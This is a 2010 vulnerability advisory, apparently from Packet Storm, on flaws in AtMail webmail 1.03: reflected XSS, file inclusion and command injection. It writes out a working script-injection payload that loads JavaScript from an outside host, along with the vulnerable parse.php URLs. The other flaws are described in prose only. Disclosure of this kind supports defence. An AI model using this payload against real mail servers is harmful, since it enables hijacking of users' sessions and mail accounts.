what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

AtMail Open Source Webmail Client 1.03 XSS / Inclusion / Command Execution

AtMail Open Source Webmail Client 1.03 XSS / Inclusion / Command Execution
Posted Jun 23, 2010
Authored by Ivan Sanchez

AtMail Open Source Webmail Client version 1.03 suffers from code execution, cross site scripting and local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, code execution, xss, file inclusion
SHA-256 | ba6b36de24e066160709a48e4b9cd6d5ae522e956a8646e9bb9728696fd19080

AtMail Open Source Webmail Client 1.03 XSS / Inclusion / Command Execution

Change Mirror Download
+===========================================================================================+
+ AtMail Open source webmail client 1.03 & XSS & Remote Execution Code +
+===========================================================================================+


Author(s): Ivan Sanchez

Product: AtMail open source webmail client 1.03


Web: http://atmail.com/ http://atmail.org/


Versions: 1.03 (last version)


Date: 20/06/2010


Vendor: Informed trough web form 19-06-2010



Information:


http://atmail.com/contact.php

atMail proudly serves various organizations, including leading ISPs, Portals, small to medium business
and prestigious educational and government clients. The AtMail software powers over 10 million email accounts worldwide,
used by people on a daily basis for their critical email communication. We serve over 4,000 paying customers from around 70 countries,
to deliver one of the best integrated Webmail and Email-server solutions on the market.



GOOGLE DORKS:
------------

n/a



Evil Function:
--------------

PARSE.PHP

http://demo.atmail.org/parse.php?file=html/LANG/simple/showmail_interface.html&ajax=1&func=
http://demo.atmail.org/parse.php?file=



Internal Variables without Controls:
------------------------------------

FILE
FUNC



Exploiting:
--------------

Insert and assign the evil code to these variables,then import the malicious java as you want!
I have replaced some URL's to avoid something ;-)


EVIL CODE= "><script src=http://site/evil.js></script>

http://demo.atmail.org/parse.php?file=html/LANG/simple/showmail_interface.html&ajax=1&func= EVIL CODE
http://demo.atmail.org/parse.php?file= EVIL CODE





More files affected with differents types of holes:

---------------------------------------------------

Reflected XSS:
--------------

Line 412 of showmail.php sends unvalidated data to a web browser, which can result in the browser executing malicious code.
Line 189 of showmail.php sends unvalidated data to a web browser, which can result in the browser executing malicious code.
Line 844 of showmail.php sends unvalidated data to a web browser, which can result in the browser executing malicious code.



File Inclusion:
---------------

The file index.php passes an unvalidated filename to a dynamic include statement on line 131. Allowing unvalidated user input to to control files that are included dynamically in PHP can lead to malicious code execution.



Command Injection:
-------------------

Line 47 in step6.php calls shell_exec() with a command built from untrusted data. This call can cause the program to execute malicious commands on behalf of an attacker.







To conclude, I could find a lot of issues regarding SLQ Injection, and other dangerous holes.





NULL CODE SERVICES [ www.nullcode.com.ar ] Hunting Security Bugs!


+===========================================================================================+
+ AtMail Open source webmail client 1.03 & XSS & Remote Execution Code +
+===========================================================================================+
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close